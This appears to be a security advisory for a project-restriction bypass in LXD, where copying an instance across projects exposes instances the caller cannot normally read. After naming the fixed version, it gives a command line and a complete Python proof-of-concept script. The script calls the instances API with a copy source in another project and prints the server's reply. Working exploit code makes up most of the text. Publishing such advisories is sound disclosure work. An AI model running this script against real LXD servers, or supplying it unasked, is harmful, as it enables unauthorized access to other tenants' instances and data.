LXD has project restriction bypass in instance copy across projects

03 · The fix

Upgrade to 0.0.0-20260630083100-c5184be310b1

Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-instance secret --name copy-secret --insecure

Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.

#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)

    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-instance", required=True)
    ap.add_argument("--name", required=True, help="new instance name in target project")
    ap.add_argument("--instance-only", action="store_true")
    ap.add_argument("--start", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    body = {
        "name": args.name,
        "source": {
            "type": "copy",
            "source": args.source_instance,
            "project": args.source_project,
            "instance_only": args.instance_only,
        },
        "start": args.start,
    }
    path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.